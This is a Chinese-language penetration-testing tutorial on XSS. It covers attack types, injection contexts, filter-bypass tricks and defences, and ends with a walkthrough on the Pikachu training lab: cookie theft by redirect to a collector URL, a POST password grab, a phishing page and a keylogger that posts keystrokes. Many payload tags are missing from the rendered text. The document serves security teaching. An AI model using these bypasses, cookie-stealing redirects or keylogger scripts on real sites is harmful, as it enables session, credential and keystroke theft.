1. 程式人生 > 其它 >滲透測試--xss跨站指令碼

滲透測試--xss跨站指令碼

技術標籤:滲透測試滲透測試網路安全xss跨站指令碼

xss跨站指令碼

XSS簡介

XSS全稱(Cross Site Scripting)跨站指令碼攻擊

屬於客戶端攻擊,受害者是使用者,但是管理員也屬於使用者,這意味著xss可以對“服務端”攻擊,因為管理員許可權比較大,可以對網站進行檔案管理,資料操作等,攻擊者一般也是通過管理員身份最為“跳板”實施攻擊。

原理/原因

程式對輸入和輸出的控制不嚴格,導致“精心構造”的指令碼輸入後,在輸出到前端時被瀏覽器當做有效程式碼解析執行,從而產生危害

  • <?php

$name = $_GET[‘name’];
echo “Welcome $name

”;
?>

最常用的指令碼語言javascript,也用其他語言

XSS的危害

劫持使用者cookie

框架釣魚

掛馬

鍵盤記錄

刷流量

分類

反射型

  • 互動資料一般不會被儲存在資料庫中,只是簡單的把使用者輸入的資料反射給客戶端瀏覽器,具有一次性,所見即所得

儲存型

  • 互動資料會被儲存在資料庫裡面,永久性儲存,每次頁面被訪問都會輸出給客戶端,具有很強的穩定性

Dom型

  • 不與後臺伺服器產生資料互動,通過前端DOM節點形成XSS漏洞

    • DOM全稱是Document Object Model,也就是文件物件模型。我們可以將DOM理解為,一個與系統平臺和程式語言無關的介面,程式和指令碼可以通過這個介面動態地訪問和修改文件內容、結構和樣式。當建立好一個頁面並載入到瀏覽器時,DOM就悄然而生,它會把網頁文件轉換為一個文件物件,主要功能是處理網頁內容。故可以使用 Javascript 語言來操作DOM以達到網頁的目的。

XSS可能存在的地方

有輸入、輸出的地方

  • 任何帶引數互動的地方都可以構造xss攻擊,user-agent 、 http頭 、 cookie

HTML Context

  • 頁面文字/環境

URL Context

  • 地址文字/環境

Attribute Context

  • 屬性文字/環境

Style Context

  • 樣式文字/環境

Script Context

  • 指令碼文字/環境

XSS測試方法

工具

  • 自動

    • AWVS 、 AppScan 、 BurpSuite
  • 半自動

    • Burpsuite 、 Firefox(hackbar) XSSER 、 XSSF

手工

  • 最重要的是考慮哪裡有輸入,輸入的資料在哪裡輸出

    • (1)在目標站點上找到輸入點,比如查詢介面,留言板等;
      (2)輸入一組"特殊字元+唯一識別字符",點選提交後,檢視返回的原始碼,是否有做對應的處理;
      (3)通過搜尋定位到唯一字元,結合唯一字元前後語法確認是否可以構造執行js的條件(構造閉合);提交構造的指令碼程式碼,看是否可以成功執行,如果成功執行則說明存在XSS漏洞;

同源策略

跨域

  • 當協議、主機(主域名、子域名)、埠中任意一個不同時,稱為不同域,在不同域之間請求資料操作,稱為跨域操作

同源策略

  • 為了安全考慮,所有瀏覽器都約定了“同源策略”,同源策略禁止頁面載入或執行不同域的任何指令碼,即不同域之間不能使用JS進行操作。
  • 比如:x.com域名下的js不能操作y.com域名下的物件
    那麼為什麼要有同源策略? 比如一個惡意網站的頁面通過js嵌入了銀行的登入頁面(二者不同源),如果沒有同源限制,惡意網頁上的javascript指令碼就可以在使用者登入銀行的時候獲取使用者名稱和密碼。

不受同源限制的標籤

同源策略修改

  • Access-Control-Allow-Origin=“*”

  • 後臺設定

    • 值為 *

      • 即允許跨域指令碼執行

XSS繞過

前端限制

  • (1)對前端的限制可以嘗試進行抓包重發或者修改前端的HTML。

    • '">

大小寫混合使用

  • (2)防止後臺對輸入的內容進行正則匹配來過濾輸入,對於這樣的過濾可以考慮大小寫混合輸入的方法。
  • 例:

拼湊

  • (3)防止後臺對輸入的內容進行替換,採用拼拼湊的輸入方法
  • <sc

註釋干擾後臺

  • (4)使用註釋來干擾後臺對輸入內容的識別
  • <sc ript>alert(‘你打籃球像oldboy’)</scr ipt>

編碼

  • 思路:後臺有可能會對程式碼中的關鍵字進行過濾,但我們可以嘗試將關鍵字進行編碼後在插入,瀏覽器對改編碼進行識別時,會翻譯成正常的程式碼。(注意:編碼在輸出時是否會被正常識別和翻譯才是關鍵,不是所有的編碼都是可以的)
  • 使用事件屬性onerror():
  • 使用HTML進行編碼:

htmlspecialchars()函式

  • htmlspecialchars()函式把一些預定義的字元轉換為 HTML 實體

    • 該函式的語法:
      htmlspecialchars(string,flags,character-set,double_encode)
  • 過濾原理:htmlspecialchars() 函式把預定義的字元轉換為 HTML 實體,從而使XSS攻擊失效。但是這個函式預設配置不會將單引號和雙引號過濾,只有設定了quotestyle規定如何編碼單引號和雙引號才能會過濾掉單引號

  • 作用

    • &(與符號)轉義為&amp
    • “(雙引號)轉義為&quot
    • ‘(單引號)轉義為&#039
    • <(小於號)轉義為&lt
    • (大於號)轉義為&gt

  • 引數配置

    • 可用的quotestyle型別
    • ENT_COMPAT 預設,僅編碼雙引號(可繞過)
    • ENT_QUOTES 編碼雙引號和單引號(a 標籤可繞過)
    • ENT_NOQUOTES 不編碼任何引導
  • 可使用以下語句繞過: --廢棄q’ οnclick=‘alert(111)’
    改為 javascript:alert(111)

事件繞過

  • 錯誤事件
  • 。。。。。

html5新標籤繞過

xss之js輸出繞過

2’

;
if($ms.length != 0){
    if($ms == 'tmac'){
        $('#fromjs').text('tmac確實厲害,看那小眼神..')
    }else {

// alert($ms);
$(’#fromjs’).text(‘無論如何不要放棄心中所愛…’)
}

}

XSS防範

對輸入進行過濾

  • 根據業務需求進行過濾,比如輸出點要求輸入手機號,則只允許輸入手機號格式的數字。

對輸出進行html實體編碼

  • 轉義:所有輸出到前端的資料都根據輸出點進行轉義,比如輸出到html中進行html實體轉義,輸入到JS裡面的進行JS轉義()

實戰

pikachu平臺

xss平臺搭建及後臺使用(cookie獲取)

  • http://192.168.17.173:808/pikachu/vul/xss/xss_reflected_get.php?message=111’"> xss攻擊程式碼
  • //通過document.location 例項進行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=

反射型XSS(POST)獲取使用者密碼

  • post攻擊利用頁面 D:\phpStudy\WWW\pikachu\pkxss\xcookie\post.html
  • http://192.168.0.103:8080/post.html

xss釣魚

  • 釣魚攻擊利用頁面 D:\phpStudy\WWW\pikachu\pkxss\xfish

xss獲取鍵盤記錄

  • rk.js關鍵程式碼解讀

    • var realkey = String.fromCharCode(event.keyCode);
      //獲取使用者鍵盤記錄,最後轉化為字串
    • xl+=realkey; //賦值給x1
    • show(); //呼叫show涵數,通過下面ajax進行post傳送鍵盤記錄人內容
  • 輸入設定好的惡意JS程式碼:

然後在鍵盤上隨意輸入,就可以到xss平臺上去檢視鍵盤輸入的結果

XSS盲打

XSS盲打就是攻擊者在前端提交的資料不知道後臺是否存在xss漏洞的情況下,提交惡意JS程式碼在類似留言板等輸入框後,所展現的後臺位置的情況下,網站採用了攻擊者插入的惡意程式碼,當後臺管理員在操作時就會觸發插入的惡意程式碼,從而達到攻擊者的目的

管理員後臺: http://http://192.168.0.101/pikachu/vul/xss/xssblind/admin_login.php